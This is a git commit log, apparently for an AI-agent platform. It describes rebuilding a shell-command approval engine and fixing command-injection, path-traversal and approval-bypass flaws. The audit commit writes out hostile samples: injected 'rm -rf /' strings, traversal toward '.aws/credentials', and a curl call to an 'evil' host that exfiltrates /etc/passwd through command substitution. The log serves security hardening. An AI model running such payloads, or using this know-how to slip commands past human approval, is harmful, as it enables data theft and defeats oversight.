322a5ec9b1be6ff5f28703f97bf3bbdf51a5be92
4
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
4b29b89371 |
refactor: unify tool approval into a single engine and cut prompt storms
Collapse the dual permission stack into one policy. The runtime-side ToolPermissionResolver (own safe lists, own grant memory, bypassed the ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults ApprovalEngine.predict(), a synchronous fast path reading the same config and the same persisted allowlist as the async authorize pipeline, so a grant given anywhere is honored everywhere. permissions.py keeps only a policy-free adapter; the duplicated permissions_v2 config fields and the runtime grant persistence loop are removed (stale YAML keys are ignored). New shell_safety module becomes the single source of truth for shell classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/ git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d, rg --pre still prompt even when the bare name is config-listed), keyword-aware compound splitting (loop/branch headers no longer poison grants), expansion-safe $() handling, and fail-closed treatment of anything unparseable or substitution-bearing. Grant semantics are rebuilt around derived word-boundary prefixes: "python3 -c" instead of token bags, interpreter -c/-m kept in the prefix, bash/eval/sudo never grantable as prefixes, read-only segments exempt from the every-candidate-must-match rule so a granted command chained with ls/echo verification passes, and approve-once now records the exact candidates as a session grant so identical re-runs stop re-prompting. The authorize heuristic also audits the original command text instead of the quote-dropping preview (echo "<EOF>" no longer reads as redirection). Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/ sha256sum ran with zero cards, python3 -c parked once and three different python3 -c commands then passed via the persisted prefix grant, and an agent-issued rm -f compound correctly re-prompted showing only the segments needing approval. Full suite failures are byte-identical to the pre-change HEAD baseline (27 pre-existing). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
c901800062 |
fix(approval): reduce prompt friction and make approval cards answerable forever
Approval friction (harmless commands kept prompting): - Persist "Allow for this session" grants to approval_allowlist.yaml under a new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui` restarts and re-entering the session instead of living only in memory. - Safe-prefix matching now accepts compound read-only commands: every segment must match a safe prefix, and fd-duplication / /dev/null redirections (2>&1, 2>/dev/null) no longer disqualify a command; real write redirections (>, >>, <) still do. Default safe prefixes gain common read-only commands (cd, cat, head, grep, git log, ...). - First-use approval now gates only MEDIUM+ risk; heuristically LOW actions proceed without a card. - Shell-substitution detection flags eval/source only at command position of a segment (no more false positives on `grep source file`); $(...) and backticks still flag anywhere. Approval card timeout redesign (deferred decisions): - The card's structured approval context (action, allowlist patterns, scopes) now travels through the escalation event into the persisted card metadata. - Timeout without a default action no longer marks the card timed out, and the session-detail reconciler no longer stales deferred-capable cards: the card stays pending and clickable indefinitely, including across restarts. - Clicking after the inline wait expired applies the allowlist grant (approve-once grants the exact command at session scope), resolves the card, and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the task resumes through the normal message pipeline and the retried command auto-approves. With no parked checkpoint the grant still lands and a helper reply explains the state. Verified: approval engine suite (40) incl. new deferred-decision and compound-command tests, ws_handler + runtime suites green, real escalated commands from project 999 replayed against the user's config now auto-approve while pip install / $(...) / rm -rf / write redirects still prompt. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> |
||
|
|
975b852e78 |
Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com> |
||
|
|
d78931979d | Initial commit |